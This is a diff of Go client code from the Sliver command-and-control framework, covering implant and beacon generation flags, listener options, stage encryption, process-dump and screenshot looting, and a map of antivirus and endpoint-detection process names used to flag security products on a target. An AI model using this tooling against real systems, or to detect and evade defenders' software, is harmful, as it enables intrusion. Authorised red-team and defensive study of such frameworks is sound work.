||||
return
|
||||
}
|
||||
con.PrintInfof("Removed monitoring configuration\n")
|
||||
}
|
||||
|
||||
// PrintWTConfig - Print the current watchtower configuration
|
||||
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Type",
|
||||
"APIKey",
|
||||
"APIPassword",
|
||||
})
|
||||
|
||||
color := console.Normal
|
||||
|
||||
for _, config := range configs.Providers {
|
||||
row := table.Row{}
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
|
||||
|
||||
var options []string
|
||||
for _, config := range configs.Providers {
|
||||
options = append(options, config.Type)
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a configuration:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, provider := range configs.Providers {
|
||||
if provider.Type == selected {
|
||||
return provider, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
@@ -111,7 +112,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
var saveToFile *os.File
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
|
||||
saveToFile, err = os.CreateTemp("", tmpFileName)
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating temporary file: %s\n", err)
|
||||
return
|
||||
@@ -146,6 +147,6 @@ func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName strin
|
||||
lootName = dumpFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), dumpFileName, lootName, clientpb.FileType_BINARY, dump.GetData())
|
||||
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.FileType_BINARY, dump.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
@@ -46,20 +46,14 @@ var knownSecurityTools = map[string][]string{
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
|
||||
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
|
||||
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
|
||||
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
|
||||
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
|
||||
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
@@ -92,10 +86,6 @@ var knownSecurityTools = map[string][]string{
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
@@ -212,16 +202,12 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
uniqProducts := map[string]string{}
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
uniqProducts[secTool[1]] = secTool[0]
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
products := make([]string, 0, len(uniqProducts))
|
||||
for name := range uniqProducts {
|
||||
products = append(products, name)
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
|
||||
@@ -51,16 +51,9 @@ func (n *node) insert(proc *commonpb.Process) {
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
// Empty node
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
// Skip self when called from reorder
|
||||
// otherwise things might explode, see #1340
|
||||
if n.Value.Pid == proc.Pid {
|
||||
return nil
|
||||
}
|
||||
// Found parent
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
|
||||
@@ -21,7 +21,7 @@ package reaction
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(reactionFilePath, data, 0o600)
|
||||
return ioutil.WriteFile(reactionFilePath, data, 0o600)
|
||||
}
|
||||
|
||||
// LoadReactions - Save the reactions to the reaction file
|
||||
func LoadReactions() (int, error) {
|
||||
reactionFilePath := GetReactionFilePath()
|
||||
data, err := os.ReadFile(reactionFilePath)
|
||||
data, err := ioutil.ReadFile(reactionFilePath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
@@ -21,7 +21,7 @@ package registry
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
return
|
||||
}
|
||||
} else {
|
||||
v, err = os.ReadFile(binPath)
|
||||
v, err = ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -21,6 +21,7 @@ package screenshot
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
@@ -106,7 +107,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
|
||||
var err error
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
|
||||
saveToFile, err = os.CreateTemp("", tmpFileName)
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -137,7 +138,7 @@ func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName s
|
||||
lootName = screenshotFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), screenshotFileName, lootName, clientpb.FileType_BINARY, screenshot.GetData())
|
||||
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.FileType_BINARY, screenshot.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
|
||||
+6
-214
@@ -31,11 +31,9 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/c2profiles"
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
@@ -49,13 +47,11 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/taskmany"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/command/websites"
|
||||
"github.com/bishopfox/sliver/client/command/wireguard"
|
||||
client "github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/licenses"
|
||||
)
|
||||
@@ -149,61 +145,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter())
|
||||
aliasCmd.AddCommand(aliasRemove)
|
||||
|
||||
// [ Extensions ] ---------------------------------------------
|
||||
|
||||
extCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "List current exts",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsCmd(cmd, con)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
server.AddCommand(extCmd)
|
||||
|
||||
|
||||
/*
|
||||
parking 'load' for now - the difference between 'load' and 'install' is that 'load' should not move binaries and manifests to the client install dir.
|
||||
Maybe we can revisit this if it's required - but the usecase I can think of is when developing extensions, and that will also occasionally require a manifest update
|
||||
// extLoadCmd := &cobra.Command{
|
||||
// Use: consts.LoadStr + " [EXT]",
|
||||
// Short: "Load a command EXT",
|
||||
// Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
|
||||
// Args: cobra.ExactArgs(1),
|
||||
// Run: func(cmd *cobra.Command, args []string) {
|
||||
// extensions.ExtensionLoadCmd(cmd, con, args)
|
||||
// },
|
||||
// }
|
||||
// carapace.Gen(extLoadCmd).PositionalCompletion(
|
||||
// carapace.ActionDirectories().Tag("ext directory").Usage("path to the ext directory"))
|
||||
// extCmd.AddCommand(extLoadCmd)
|
||||
*/
|
||||
|
||||
extInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [filepath]",
|
||||
Short: "Install an extension from a local directory/file.",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(extInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("ext file"))
|
||||
extCmd.AddCommand(extInstallCmd)
|
||||
|
||||
extendo := &cobra.Command{
|
||||
Use: consts.RmStr + " [Name]",
|
||||
Short: "Remove extension. Will remove all commands associated with the installed extension. Does not unload the extension from implants that have already loaded it, but removes the command from the client.",
|
||||
Long: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsRemoveCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(extendo).PositionalCompletion(extensions.ManifestCompleter())
|
||||
extCmd.AddCommand(extendo)
|
||||
|
||||
// [ Armory ] ---------------------------------------------
|
||||
|
||||
armoryCmd := &cobra.Command{
|
||||
@@ -328,6 +269,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(mtlsCmd)
|
||||
|
||||
@@ -345,6 +287,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(wgCmd)
|
||||
|
||||
@@ -363,6 +306,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(dnsCmd)
|
||||
|
||||
@@ -383,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("staging", "s", false, "enable staging")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(httpCmd)
|
||||
|
||||
@@ -404,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("enable-staging", "s", false, "enable staging")
|
||||
|
||||
f.StringP("cert", "c", "", "PEM encoded certificate file")
|
||||
f.StringP("key", "k", "", "PEM encoded private key file")
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(httpsCmd)
|
||||
|
||||
@@ -431,7 +375,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
|
||||
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
})
|
||||
@@ -722,7 +665,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -731,7 +673,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
server.AddCommand(generateCmd)
|
||||
|
||||
@@ -792,7 +733,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -801,7 +741,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
generateCmd.AddCommand(generateBeaconCmd)
|
||||
|
||||
@@ -819,10 +758,9 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("lhost", "L", "", "Listening host")
|
||||
f.Uint32P("lport", "l", 8443, "Listening port")
|
||||
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
|
||||
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
|
||||
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
|
||||
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
|
||||
f.StringP("save", "s", "", "directory to save the generated stager to")
|
||||
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
|
||||
})
|
||||
generateCmd.AddCommand(generateStagerCmd)
|
||||
|
||||
@@ -981,7 +919,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -990,7 +927,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
@@ -1053,7 +989,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -1062,7 +997,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
|
||||
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
|
||||
@@ -1079,38 +1013,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesRmCmd)
|
||||
|
||||
profilesStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Generate an encrypted and/or compressed implant",
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
generate.ProfilesStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "implant name")
|
||||
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
|
||||
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
})
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
|
||||
profilesInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "Details about a profile",
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
generate.PrintProfileInfo(args[0], con)
|
||||
},
|
||||
}
|
||||
carapace.Gen(profilesInfoCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesInfoCmd)
|
||||
|
||||
implantBuildsCmd := &cobra.Command{
|
||||
Use: consts.ImplantBuildsStr,
|
||||
Short: "List implant builds",
|
||||
@@ -1150,16 +1052,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
|
||||
implantBuildsCmd.AddCommand(implantsRmCmd)
|
||||
|
||||
implantStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Serve a previously generated implant",
|
||||
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
generate.ImplantsStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
implantBuildsCmd.AddCommand(implantStageCmd)
|
||||
|
||||
canariesCmd := &cobra.Command{
|
||||
Use: consts.CanariesStr,
|
||||
Short: "List previously generated canaries",
|
||||
@@ -1361,14 +1253,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
Short: "Monitor threat intel platforms for Sliver implants",
|
||||
GroupID: consts.SliverHelpGroup,
|
||||
}
|
||||
|
||||
configCmd := &cobra.Command{
|
||||
Use: consts.MonitorConfigStr,
|
||||
Short: "Configure monitor API keys",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorConfigCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
monitorCmd.AddCommand(&cobra.Command{
|
||||
Use: "start",
|
||||
Short: "Start the monitoring loops",
|
||||
@@ -1383,23 +1267,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
monitor.MonitorStopCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
configCmd.AddCommand(&cobra.Command{
|
||||
Use: "add",
|
||||
Short: "Add API key configuration",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorAddConfigCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
configCmd.AddCommand(&cobra.Command{
|
||||
Use: "del",
|
||||
Short: "Remove API key configuration",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorDelConfigCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
monitorCmd.AddCommand(configCmd)
|
||||
server.AddCommand(monitorCmd)
|
||||
|
||||
// [ Loot ] --------------------------------------------------------------
|
||||
@@ -1866,81 +1733,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
|
||||
hcstat2Cmd.AddCommand(hcstat2RmCmd)
|
||||
|
||||
// [ Task many ]-----------------------------------------
|
||||
|
||||
taskmanyCmd := &cobra.Command{
|
||||
Use: consts.TaskmanyStr,
|
||||
Short: "Task many beacons or sessions",
|
||||
Long: help.GetHelpFor([]string{consts.TaskmanyStr}),
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
taskmany.TaskmanyCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
server.AddCommand(taskmanyCmd)
|
||||
|
||||
// Add the relevant beacon commands as a subcommand to taskmany
|
||||
taskmanyCmds := map[string]bool{
|
||||
consts.ExecuteStr: true,
|
||||
consts.LsStr: true,
|
||||
consts.CdStr: true,
|
||||
consts.MkdirStr: true,
|
||||
consts.RmStr: true,
|
||||
consts.UploadStr: true,
|
||||
consts.DownloadStr: true,
|
||||
consts.InteractiveStr: true,
|
||||
consts.ChmodStr: true,
|
||||
consts.ChownStr: true,
|
||||
consts.ChtimesStr: true,
|
||||
consts.PwdStr: true,
|
||||
consts.CatStr: true,
|
||||
consts.MvStr: true,
|
||||
consts.PingStr: true,
|
||||
consts.NetstatStr: true,
|
||||
consts.PsStr: true,
|
||||
consts.IfconfigStr: true,
|
||||
}
|
||||
|
||||
for _, c := range SliverCommands(con)().Commands() {
|
||||
_, ok := taskmanyCmds[c.Use]
|
||||
if ok {
|
||||
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
|
||||
}
|
||||
}
|
||||
|
||||
// [ HTTP C2 Profiles ] --------------------------------------------------------------
|
||||
|
||||
